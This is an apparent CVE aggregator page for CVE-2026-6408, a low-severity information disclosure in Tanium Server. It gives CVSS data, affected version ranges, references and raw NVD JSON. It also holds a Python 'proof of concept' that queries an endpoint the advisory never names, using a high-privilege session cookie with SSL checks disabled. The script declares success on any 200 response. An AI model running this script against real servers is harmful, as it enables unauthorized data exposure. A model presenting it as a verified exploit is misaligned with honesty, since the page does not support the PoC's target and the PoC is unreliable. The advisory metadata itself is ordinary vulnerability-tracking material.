CVE-2026-6408

Description

Tanium addressed an information disclosure vulnerability in Tanium Server.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:* - VULNERABLE

Tanium Server (具体版本请参考官方公告 TAN-2026-012)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-6408 Proof of Concept (PoC)
# Description: Information Disclosure in Tanium Server
# Note: Requires High Privileges (PR:H)

target_host = "https://<tanium-server-ip>"
vulnerable_endpoint = "/api/v2/server/status/config_detail"

# High-privilege session cookie is required
session_cookie = {
    "session_id": "<high_privilege_session_token>"
}

headers = {
    "User-Agent": "Mozilla/5.0 (compatible; PoC-Scanner/1.0)",
    "Accept": "application/json"
}

try:
    # Send request to the vulnerable endpoint
    response = requests.get(
        target_host + vulnerable_endpoint,
        headers=headers,
        cookies=session_cookie,
        verify=False # Ignore SSL certificate verification for testing
    )

    if response.status_code == 200:
        print("[+] Vulnerability exploited successfully!")
        print("[+] Sensitive Information Disclosure:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except requests.exceptions.RequestException as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6408
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6408
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6408/
[4] VulDB https://vuldb.com/cve/CVE-2026-6408
[5] https://security.tanium.com/TAN-2026-012

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6408", "sourceIdentifier": "3938794e-25f5-4123-a1ba-5cbd7f104512", "published": "2026-04-22T03:16:01.540", "lastModified": "2026-05-05T19:43:07.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tanium addressed an information disclosure vulnerability in Tanium Server."}], "metrics": {"cvssMetricV31": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.4.0", "versionEndExcluding": "7.6.4.2185", "matchCriteriaId": "651D8313-17B7-4BC0-B6F8-F3387D696EE7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.3.0", "versionEndExcluding": "7.7.3.8266", "matchCriteriaId": "C4FFBD03-2962-408B-A6F5-ABD5BDA05D04"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tanium:server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.8.2.0", "versionEndExcluding": "7.8.2.1168", "matchCriteriaId": "679DA8A7-E1C4-4403-98E1-3AD4681D33A6"}]}]}], "references": [{"url": "https://security.tanium.com/TAN-2026-012", "source": "3938794e-25f5-4123-a1ba-5cbd7f104512", "tags": ["Vendor Advisory"]}]}}